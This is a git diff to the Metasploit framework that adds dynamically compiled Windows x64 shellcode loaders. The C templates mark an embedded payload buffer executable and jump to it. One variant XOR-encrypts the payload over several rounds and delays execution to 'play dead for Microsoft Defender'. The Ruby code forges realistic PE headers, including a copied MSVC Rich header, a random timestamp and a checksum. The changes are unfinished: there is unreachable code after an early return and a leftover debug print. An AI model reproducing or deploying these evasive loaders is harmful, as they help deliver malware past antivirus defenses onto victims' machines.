diff --git a/data/templates/src/pe/exe/template.c.erb b/data/templates/src/pe/exe/template.c.erb new file mode 100644 index 0000000000000..e0ba4ce7cb6ac --- /dev/null +++ b/data/templates/src/pe/exe/template.c.erb @@ -0,0 +1,12 @@ +#include + +#define SCSIZE 4096 +char bPayload[SCSIZE] = "PAYLOAD:"; + + +void main() { + DWORD dwOldProtect; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + (*(void (*)()) bPayload)(); + return; +} diff --git a/data/templates/template_x64_windows.erb b/data/templates/template_x64_windows.erb new file mode 100644 index 0000000000000..8fbb483a207a9 --- /dev/null +++ b/data/templates/template_x64_windows.erb @@ -0,0 +1,18 @@ +#include + +#define SCSIZE <%= payload_length %> + +char bPayload[SCSIZE] = "<%= payload %>"; + + +void main() { + DWORD dwOldProtect; + char* payload_fnc = NULL; + + payload_fnc = bPayload; + + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + (*(void (*)()) payload_fnc)(); + return; +} + diff --git a/data/templates/template_x64_windows_xor.erb b/data/templates/template_x64_windows_xor.erb new file mode 100644 index 0000000000000..6efe87c0818a0 --- /dev/null +++ b/data/templates/template_x64_windows_xor.erb @@ -0,0 +1,96 @@ +#include +#include +#define SCSIZE <%= encrypted_payload_length %> + +char bPayload[SCSIZE] = "<%= encrypted_payload %>"; +char bControlBytes[<%= encryption_rounds %>] = "<%= control_bytes %>"; + +typedef union _LARGE_INTEGER { + struct { + DWORD LowPart; + LONG HighPart; + } DUMMYSTRUCTNAME; + struct { + DWORD LowPart; + LONG HighPart; + } u; + __int64 QuadPart; + } LARGE_INTEGER, *PLARGE_INTEGER; + +typedef NTSTATUS (__stdcall *fnNtDelayExecution)( + BOOLEAN Alertable, + PLARGE_INTEGER DelayInterval +); + + +int DelayExecution() +{ + // Converting minutes to milliseconds - TODO: add random interval + DWORD dwMilliSeconds = 12000; + LARGE_INTEGER DelayInterval = { 0 }; + __int64 Delay = NULL; + NTSTATUS STATUS = NULL; + + // TODO: add API hashing + fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDelayExecution"); + DWORD _T0 = NULL, _T1 = NULL; + + // Converting from milliseconds to the 100-nanosecond - negative time interval + Delay = dwMilliSeconds * 10000; + DelayInterval.QuadPart = -Delay; + + _T0 = GetTickCount(); + + + // Sleeping for 'dwMilliSeconds' ms + if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 ) { + return 0; + } + + _T1 = GetTickCount(); + + if((_T1 - _T0) < dwMilliSeconds) { + return 0; + } + + return 1; +} + +char GetKey(char control_byte) +{ + char hardcoded = bPayload[0]; + for (int i = 0; i <= 255; i++) + { + char res = i ^ hardcoded; + if (res == (char)(control_byte)) + return (char)i; + } + } + + void DecryptPayload(char control_byte) + { + char key = GetKey(control_byte); + for (int i = 0; i < SCSIZE; i++) + { + bPayload[i] = bPayload[i] ^ key; + } + } + +void main() { + DWORD dwOldProtect; + char* payload_fnc = NULL; + for(int i = 0; i < <%= encryption_rounds %>; i++) + { + DecryptPayload(bControlBytes[i]); + } + payload_fnc = bPayload + 1; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + + //play dead for Microsoft Defender, because why not + if(DelayExecution()){ + (*(void (*)()) payload_fnc)(); + } + + return; +} + diff --git a/lib/metasploit/framework/compiler/custom.rb b/lib/metasploit/framework/compiler/custom.rb new file mode 100644 index 0000000000000..6ec4cead31a2f --- /dev/null +++ b/lib/metasploit/framework/compiler/custom.rb @@ -0,0 +1,18 @@ +require 'metasm' +require 'metasploit/framework/compiler/pe' + +module Metasploit + module Framework + module Compiler + + class Custom + + def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new) + return Pe.from_c(c_template) + #raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe + end + + end + end + end +end diff --git a/lib/metasploit/framework/compiler/pe.rb b/lib/metasploit/framework/compiler/pe.rb new file mode 100644 index 0000000000000..8457e75027413 --- /dev/null +++ b/lib/metasploit/framework/compiler/pe.rb @@ -0,0 +1,319 @@ +# -*- coding: binary -*- + +require 'metasm' +require 'metasploit/framework/compiler/utils' +require 'metasploit/framework/compiler/headers/windows' +require 'metasploit/framework/compiler/windows' +require 'rex/peparsey' + +module Metasploit + module Framework + module Compiler + + class Pe + + FILE_ALIGN = 0x200 + SECT_ALIGN = 0x1000 + + MACHINE_AMD64 = 0x8664 + + SUBSYSTEM_GUI = 2 + SUBSYSTEM_CUI = 3 + + # Section characteristic flags + SCN_CNT_CODE = 0x00000020 + SCN_CNT_IDATA = 0x00000040 + SCN_MEM_EXEC = 0x20000000 + SCN_MEM_READ = 0x40000000 + SCN_MEM_WRITE = 0x80000000 + + TEXT_CHARS = SCN_CNT_CODE | SCN_MEM_EXEC | SCN_MEM_READ + RDATA_CHARS = SCN_CNT_IDATA | SCN_MEM_READ + + # Standard MSVC DOS stub executable code + message string. + DOS_STUB_CODE = ( + "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21" \ + "This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00" + ).b.freeze + + # Rich header from a real MSVC 2022 (19.36) build. + # Using a static blob avoids the tricky XOR-checksum derivation for now. + # Future: generate dynamically via RichHeader.encode(profile, dos_stub_size). + RICH_HEADER = ( + "\x7E\x13\x87\xAA\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9" \ + "\x33\x0A\x7A\xF9\x30\x72\xE9\xF9\xF1\x1D\xE8\xF8\x38\x72\xE9\xF9" \ + "\xF1\x1D\xEC\xF8\x2B\x72\xE9\xF9\xF1\x1D\xED\xF8\x30\x72\xE9\xF9" \ + "\xF1\x1D\xEA\xF8\x39\x72\xE9\xF9\x61\x1A\xE8\xF8\x3F\x72\xE9\xF9" \ + "\x3A\x72\xE8\xF9\x0A\x72\xE9\xF9\xBC\x02\xE0\xF8\x3B\x72\xE9\xF9" \ + "\xBC\x02\x16\xF9\x3B\x72\xE9\xF9\xBC\x02\xEB\xF8\x3B\x72\xE9\xF9" \ + "\x52\x69\x63\x68\x3A\x72\xE9\xF9" + ).b.freeze + + # # Realistic e_lfanew values seen in the wild. + # # 0x80 = MSVC default, 0xB8 = some MinGW builds. + PE_OFFSETS = [0x80, 0xB8].freeze + + def self.from_c(c_source, opts = {}) + new(opts).build_from_c(c_source) + end + + def initialize(opts = {}) + @subsystem = opts[:subsystem] == :cui ? SUBSYSTEM_CUI : SUBSYSTEM_GUI + @timestamp = opts[:timestamp] || rand(Time.new(2020, 1, 1).to_i..Time.now.to_i) + @e_lfanew = opts[:e_lfanew] || PE_OFFSETS.sample + @rich = opts.fetch(:rich, true) + @imports = opts[:imports] || {} + @text_name = opts[:text_name] || ['.text', 'CODE'].sample + @rdata_name = opts[:rdata_name] || ['.rdata', '.idata'].sample + end + + def parse_data_directories(raw, offset, count) + data_directories = [] + count.times do |i| + rva, sz = raw.byteslice(offset + i * 8, 8).unpack('L< L<') + data_directories << { rva: rva, size: sz } + end + data_directories + end + + def load_pe(raw) + dos_header_raw = raw.byteslice(0, 64).unpack('a2 S< S< S< S< S< S< S< S< S< S< S< S< S< a8 S< S< a20 l<') + + keys = %i[ + e_magic e_cblp e_cp e_crlc e_cparhdr e_minalloc e_maxalloc + e_ss e_sp e_csum e_ip e_cs e_lfarlc e_ovno e_res + e_oemid e_oeminfo e_res2 e_lfanew + ] + + @dos_header = keys.zip(dos_header_raw).to_h + + @nt_header_signature = raw.byteslice(@dos_header[:e_lfanew], 4) + + file_header_raw = raw.byteslice(@dos_header[:e_lfanew] + 4, 20).unpack('S< S< L< L< L< S< S<') + + keys = %i[ + Machine NumberOfSections TimeDateStamp PointerToSymbolTable + NumberOfSymbols SizeOfOptionalHeader Characteristics + ] + + @file_header = keys.zip(file_header_raw).to_h + + optional_header_offset = @dos_header[:e_lfanew] + 4 + 20 + + @optional_header_type = raw.byteslice(optional_header_offset, 2).unpack('S<').first + + ## + # OPT_MAGIC_PE32 = 0x10B + # OPT_MAGIC_PE32P = 0x20B # PE32+ (64-bit) + + optional_header_raw = raw.byteslice(optional_header_offset, 112).unpack( + 'S< C C L< L< L< L< L< ' \ + 'Q< L< L< S< S< S< S< S< S< ' \ + 'L< L< L< L< S< S< Q< Q< Q< Q< L< L<' + ) + keys = %i[ + Magic MajorLinkerVersion MinorLinkerVersion SizeOfCode SizeOfInitializedData + SizeOfUninitializedData AddressOfEntryPoint BaseOfCode + ImageBase SectionAlignment FileAlignment + MajorOperatingSystemVersion MinorOperatingSystemVersion + MajorImageVersion MinorImageVersion + MajorSubsystemVersion MinorSubsystemVersion + Win32VersionValue SizeOfImage SizeOfHeaders CheckSum + Subsystem DllCharacteristics + SizeOfStackReserve SizeOfStackCommit SizeOfHeapReserve SizeOfHeapCommit + LoaderFlags NumberOfRvaAndSizes + ] + @optional_header = keys.zip(optional_header_raw).to_h + + @optional_header[:DataDirectories] = parse_data_directories(raw, optional_header_offset + 112, @optional_header[:NumberOfRvaAndSizes]) + + section_headers_offset = optional_header_offset + 112 + @optional_header[:NumberOfRvaAndSizes] * 8 + @optional_header[:SectionHeaders] = [] + @sections = [] + + @file_header[:NumberOfSections].times do |i| + section_header_raw = raw.byteslice(section_headers_offset + i * 40, 40).unpack('a8 L< L< L< L< L< L< S< S< L<') + keys = %i[ + Name VirtualSize VirtualAddress SizeOfRawData PointerToRawData + PointerToRelocations PointerToLinenumbers NumberOfRelocations + NumberOfLinenumbers Characteristics + ] + @optional_header[:SectionHeaders] << keys.zip(section_header_raw).to_h + + section_name = @optional_header[:SectionHeaders].last[:Name].strip + section_size = @optional_header[:SectionHeaders].last[:SizeOfRawData] + section_offset = @optional_header[:SectionHeaders].last[:PointerToRawData] + + @sections << { :name => @optional_header[:SectionHeaders].last[:Name].strip, :data => raw.byteslice(section_offset, section_size) } + + end + end + + + def patch_dos_header + @dos_header[:e_res2] = "\x00"*20 + @dos_header[:e_res] = "\x00"*8 + @dos_header[:e_oemid] = 0 + @dos_header[:e_oeminfo] = 0 + end + + def rebuild_pe + oh = @optional_header + + # Compute new SizeOfHeaders: all header bytes up through the last section header, + # rounded up to FileAlignment. This is the only correct way — just adding the raw + # e_lfanew delta doesn't guarantee the result stays FileAlignment-aligned. + nt_headers_end = @e_lfanew + 4 + 20 + @file_header[:SizeOfOptionalHeader] + @file_header[:NumberOfSections] * 40 + new_headers_size = align_up(nt_headers_end, FILE_ALIGN) + + # File-offset delta: how much all PointerToRawData values must shift. + # Both new_headers_size and orig_headers_size are FileAlignment multiples, + # so file_offset_delta is always FileAlignment-aligned — section pointers stay valid. + orig_headers_size = oh[:SectionHeaders].first&.dig(:PointerToRawData) || oh[:SizeOfHeaders] + file_offset_delta = new_headers_size - orig_headers_size + + # DOS header (64 bytes) — e_lfanew updated to the new offset + # out = [ + # @dos_header[:e_magic], + # @dos_header[:e_cblp], @dos_header[:e_cp], @dos_header[:e_crlc], + # @dos_header[:e_cparhdr], @dos_header[:e_minalloc], @dos_header[:e_maxalloc], + # @dos_header[:e_ss], @dos_header[:e_sp], @dos_header[:e_csum], + # @dos_header[:e_ip], @dos_header[:e_cs], @dos_header[:e_lfarlc], + # @dos_header[:e_ovno], @dos_header[:e_res], + # @dos_header[:e_oemid], @dos_header[:e_oeminfo], + # @dos_header[:e_res2], @e_lfanew + # ].pack('a2 S< S< S< S< S< S< S< S< S< S< S< S< S< a8 S< S< a20 l<') + + + out = [ + @dos_header[:e_magic], + @dos_header[:e_cblp], @dos_header[:e_cp], @dos_header[:e_crlc], + @dos_header[:e_cparhdr], @dos_header[:e_minalloc], @dos_header[:e_maxalloc], + @dos_header[:e_ss], @dos_header[:e_sp], @dos_header[:e_csum], + @dos_header[:e_ip], @dos_header[:e_cs], @dos_header[:e_lfarlc], + @dos_header[:e_ovno], @dos_header[:e_res], + @dos_header[:e_oemid], @dos_header[:e_oeminfo], + @dos_header[:e_res2], @e_lfanew + ].pack('a2 S< S< S< S< S< S< S< S< S< S< S< S< S< a8 S< S< a20 l<') + + # DOS stub region (bytes 64..@e_lfanew-1) — DOS_STUB_CODE, zero-padded to fit + stub_area = @e_lfanew - 64 + out << DOS_STUB_CODE.b.ljust(stub_area, "\x00".b).byteslice(0, stub_area) + + # PE signature + out << @nt_header_signature + + # COFF file header (20 bytes) + out << [ + @file_header[:Machine], + @file_header[:NumberOfSections], + @file_header[:TimeDateStamp], + @file_header[:PointerToSymbolTable], + @file_header[:NumberOfSymbols], + @file_header[:SizeOfOptionalHeader], + @file_header[:Characteristics] + ].pack('S< S< L< L< L< S< S<') + + # Optional header — AddressOfEntryPoint is an RVA (virtual address space), + # not a file offset, so it must NOT be adjusted by file_offset_delta. + # SizeOfHeaders is replaced with the freshly computed new_headers_size. + out << [ + oh[:Magic], oh[:MajorLinkerVersion], oh[:MinorLinkerVersion], + oh[:SizeOfCode], oh[:SizeOfInitializedData], oh[:SizeOfUninitializedData], + oh[:AddressOfEntryPoint], oh[:BaseOfCode], + oh[:ImageBase], oh[:SectionAlignment], oh[:FileAlignment], + oh[:MajorOperatingSystemVersion], oh[:MinorOperatingSystemVersion], + oh[:MajorImageVersion], oh[:MinorImageVersion], + oh[:MajorSubsystemVersion], oh[:MinorSubsystemVersion], + oh[:Win32VersionValue], oh[:SizeOfImage], new_headers_size, + oh[:CheckSum], oh[:Subsystem], oh[:DllCharacteristics], + oh[:SizeOfStackReserve], oh[:SizeOfStackCommit], + oh[:SizeOfHeapReserve], oh[:SizeOfHeapCommit], + oh[:LoaderFlags], oh[:NumberOfRvaAndSizes] + ].pack('S< C C L< L< L< L< L< Q< L< L< S< S< S< S< S< S< L< L< L< L< S< S< Q< Q< Q< Q< L< L<') + + # Data directories (8 bytes each) + oh[:DataDirectories].each do |dir| + out << [dir[:rva], dir[:size]].pack('L< L<') + end + + # Section headers (40 bytes each) — PointerToRawData shifted by file_offset_delta + oh[:SectionHeaders].each do |sh| + out << [ + sh[:Name], sh[:VirtualSize], sh[:VirtualAddress], + sh[:SizeOfRawData], sh[:PointerToRawData] + file_offset_delta, + sh[:PointerToRelocations], sh[:PointerToLinenumbers], + sh[:NumberOfRelocations], sh[:NumberOfLinenumbers], + sh[:Characteristics] + ].pack('a8 L< L< L< L< L< L< S< S< L<') + end + + # Pad headers to new_headers_size so section data starts at the correct file offset + out = out.b.ljust(new_headers_size, "\x00".b) + + # Append raw section data + oh[:SectionHeaders].each_with_index do |sh, i| + section_data = (@sections[i] && @sections[i][:data]) || ''.b + out << section_data.b.ljust(sh[:SizeOfRawData], "\x00".b) + end + + patch_checksum(out) + end + + + def add_import_section + + end + + def build_from_c(c_source) + # cpu = Metasm::X86_64.new + # headers = Compiler::Headers::Windows.new + # source = Compiler::Utils.normalize_code(c_source, headers) + # pe = Metasm::PE.compile_c(cpu, source) + # raw = pe.encode + + raw = Metasploit::Framework::Compiler::Windows.compile_c(c_source, :exe, Metasm::X86_64.new) + load_pe(raw) + + # Do the magic + #---------------- + patch_dos_header + add_import_section + + #---------------- + new_raw = rebuild_pe + return new_raw + end + + def patch_checksum(pe_bytes) + pe_bytes = pe_bytes.b + + lfanew = pe_bytes[0x3C, 4].unpack1('V') + chksum_off = lfanew + 4 + 20 + 64 + + pe_bytes[chksum_off, 4] = "\x00\x00\x00\x00".b + + # Pad to even length for WORD-wise iteration + data = pe_bytes.bytesize.odd? ? pe_bytes + "\x00".b : pe_bytes + + sum = 0 + data.unpack('v*').each do |word| + sum += word + sum = (sum & 0xFFFF) + (sum >> 16) if sum > 0xFFFF + end + sum += pe_bytes.bytesize + + pe_bytes[chksum_off, 4] = [sum & 0xFFFFFFFF].pack('V') + pe_bytes + end + + private + + def align_up(value, boundary) + ((value + boundary - 1) / boundary) * boundary + end + + end + end + end +end diff --git a/lib/metasploit/framework/compiler/windows.rb b/lib/metasploit/framework/compiler/windows.rb index 4782a810b73e0..207c90a394a12 100644 --- a/lib/metasploit/framework/compiler/windows.rb +++ b/lib/metasploit/framework/compiler/windows.rb @@ -71,6 +71,7 @@ def self.compile_random_c(c_template, opts={}) cpu = opts[:cpu] || Metasm::Ia32.new random_c = self.generate_random_c(c_template, opts) + puts("Randomized C source code:\n#{random_c}\n") self.compile_c(random_c, type, cpu) end diff --git a/lib/msf/base/simple/payload.rb b/lib/msf/base/simple/payload.rb index 9c1eb7bee1312..8bbe79635ce90 100644 --- a/lib/msf/base/simple/payload.rb +++ b/lib/msf/base/simple/payload.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- - module Msf module Simple @@ -38,7 +37,6 @@ module Payload # ArgumentParseError => Options were supplied improperly # def self.generate_simple(payload, opts, &block) - # Clone the module to prevent changes to the original instance payload = payload.replicant Msf::Simple::Framework.simplify_module(payload) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 06dfba04ad009..ad43646470f24 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -421,7 +421,11 @@ def encoded_exe(opts={}) :template => emod.datastore['EXE::Template'], :inject => emod.datastore['EXE::Inject'], :fallback => emod.datastore['EXE::FallBack'], - :sub_method => emod.datastore['EXE::OldMethod'] + :sub_method => emod.datastore['EXE::OldMethod'], + :dynamic_template_enabled => emod.datastore['EXE::Template::Dynamic::Enabled'], + :dynamic_template_obfluscation => emod.datastore['EXE::Template::Dynamic::Obfluscation'], + :dynamic_template_customtemplate => emod.datastore['EXE::Template::Dynamic::CustomTemplate'], + :dynamic_template_compiler => emod.datastore['EXE::Template::Dynamic::Compiler'] }) # Prefer the target's platform/architecture information, but use # the exploit module's if no target specific information exists. diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 17e5e65617594..cbb20441ed0a8 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -26,7 +26,7 @@ def initialize(info = {}) OptPath.new('MSI::Custom', [false, 'Use custom msi instead of automatically generating a payload msi']), OptPath.new('MSI::Path', [false, 'The directory in which to look for the msi template']), OptPath.new('MSI::Template', [false, 'The msi template file name']), - OptBool.new('MSI::UAC', [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)']) + OptBool.new('MSI::UAC', [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)']), ], self.class) end @@ -184,7 +184,11 @@ def exe_init_options(opts) :template => datastore['EXE::Template'], :inject => datastore['EXE::Inject'], :fallback => datastore['EXE::FallBack'], - :sub_method => false + :sub_method => false, + :dynamic_template_enabled => datastore['EXE::Template::Dynamic::Enabled'], + :dynamic_template_obfluscation => datastore['EXE::Template::Dynamic::Obfluscation'], + :dynamic_template_customtemplate => datastore['EXE::Template::Dynamic::CustomTemplate'], + :dynamic_template_compiler => datastore['EXE::Template::Dynamic::Compiler'] }) # NOTE: If code and platform/arch are supplied, we use those values and skip initialization. diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 3eb8b3d4115b8..f28f22e68db3a 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -150,7 +150,11 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('WORKSPACE', [ false, "Specify the workspace for this module" ]), - OptBool.new('VERBOSE', [ false, 'Enable detailed status messages', false ]) + OptBool.new('VERBOSE', [ false, 'Enable detailed status messages', false ]), + OptBool.new('EXE::Template::Dynamic::Enabled', [false, 'Use dynamic template when generating the executable', false]), + OptPath.new('EXE::Template::Dynamic::CustomTemplate', [false, 'Use custom template when generating the executable']), + OptBool.new('EXE::Template::Dynamic::Obfluscation', [false, 'Use JIT obfuscation when generating the executable', false]), + OptEnum.new('EXE::Template::Dynamic::Compiler', [false, 'The compiler to use for JIT obfuscation', 'metasm',['mingw', 'metasm', 'msfcompile']]) ], Msf::Module) end diff --git a/lib/msf/core/obfluscation/exe_template.rb b/lib/msf/core/obfluscation/exe_template.rb new file mode 100644 index 0000000000000..58802507c7475 --- /dev/null +++ b/lib/msf/core/obfluscation/exe_template.rb @@ -0,0 +1,48 @@ +require 'erb' +require 'metasploit/framework/compiler/mingw' +require 'metasploit/framework/compiler/windows' +require 'metasploit/framework/compiler/custom' +module Msf::Obfluscation::ExeTemplate + + def self.exe_template_compile(framework, code, opts) + template_path = framework.datastore['EXE::Template::Dynamic::CustomTemplate'] + template_path ||= File.join(Msf::Config.data_directory, 'templates','template_x64_windows_xor.erb') + + encryption_rounds = rand(2...10) + xor_keys = encryption_rounds.times.map{ rand(256) } + + control_bytes = [rand(256)] + + for i in 0...encryption_rounds do + control_bytes.append(control_bytes.last ^ xor_keys[i]) + code = code.bytes.map { |b| b ^ xor_keys[i] }.pack("C*") + end + + code.prepend(control_bytes.last.chr) + control_bytes = control_bytes.reverse + control_bytes = control_bytes.drop(1) + + encrypted_payload_length = code.bytesize + + encrypted_payload = code.bytes.map { |b| "\\x%02x" % b }.join + + control_bytes = control_bytes.map { |b| "\\x%02x" % b }.join + + template = ERB.new(File.read(template_path)) + source_c = template.result(binding) + + + return Metasploit::Framework::Compiler::Custom.compile_c(source_c, :exe) + + case framework.datastore['EXE::Template::Dynamic::Compiler'] + when nil, 'metasm' + return Metasploit::Framework::Compiler::Windows.compile_c(source_c, :exe,Metasm::X86_64.new) + when 'msfcompile' + return Metasploit::Framework::Compiler::Custom.compile_c(source_c, :exe) + else + raise "Unknown compiler: #{opts['EXE::Template::Dynamic::Compiler']}" + end + + end + +end diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 9aa557ba261ce..8cee3edba67c1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -124,6 +124,11 @@ def pipe_supported_binaries # @param opts [Hash] Payload generation options. # @return [String] The fetch command to run on the target. def generate(opts = {}) + # get every datastore option that start with EXE:: + exe_opts = datastore.keys.select { |k| k.start_with?('EXE::') || k.start_with?('MSI::') }.each_with_object({}) do |k, h| + h[k] = datastore[k] + end + opts.merge!(exe_opts) opts[:arch] ||= module_info['AdaptedArch'] opts[:code] = super @srvexe = generate_payload_exe(opts) diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index c8247dd1ce45d..4b08b8d968787 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -1,16 +1,19 @@ +require 'erb' +require 'metasploit/framework/compiler/windows' +require 'metasploit/framework/compiler/mingw' + # -*- coding: binary -*- module Msf::Util::EXE::Windows::X64 include Msf::Util::EXE::Common include Msf::Util::EXE::Windows::Common - + include Msf::Obfluscation::ExeTemplate + def self.included(base) base.extend(ClassMethods) end module ClassMethods - # Construct a Windows x64 PE executable with the given shellcode. - # to_win64pe - # + # @param framework [Msf::Framework] The Metasploit framework instance. # @param code [String] The shellcode to embed in the executable. # @param opts [Hash] Additional options. @@ -19,8 +22,21 @@ module ClassMethods def to_win64pe(framework, code, opts = {}) # Use the standard template if not specified by the user. # This helper finds the full path and stores it in opts[:template]. - set_template_default(opts, 'template_x64_windows.exe') + return Msf::Obfluscation::ExeTemplate.exe_template_compile(framework, code, opts) #if framework.datastore['EXE::Template::Dynamic::Enabled'] + + set_template_default(opts, 'template_x64_windows.exe') + + # ----------------------------- + payload_length = code.bytesize + payload = code.bytes.map { |b| "\\x%02x" % b }.join + template_path = File.join(Msf::Config.data_directory, 'templates','template_x64_windows.erb') + erb = ERB.new(File.read(template_path)) + c_source = erb.result(binding) + comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts) + compiler_out = comp_obj.compile_c(c_source) + bin = Metasploit::Framework::Compiler::Windows.compile_c(c_source, :exe,Metasm::X86_64.new) + # ----------------------------- # Try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ @@ -41,37 +57,6 @@ def to_win64pe(framework, code, opts = {}) }) return appender.generate_pe end - - # to_win64pe - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @return [String] - def to_win64pe(framework, code, opts = {}) - # Allow the user to specify their own EXE template - set_template_default(opts, "template_x64_windows.exe") - - # Try to inject code into executable by adding a section without affecting executable behavior - if opts[:inject] - injector = Msf::Exe::SegmentInjector.new({ - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] - }) - return injector.generate_pe - end - - # Append a new section instead - appender = Msf::Exe::SegmentAppender.new({ - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] - }) - return appender.generate_pe - end # to_win64pe_service #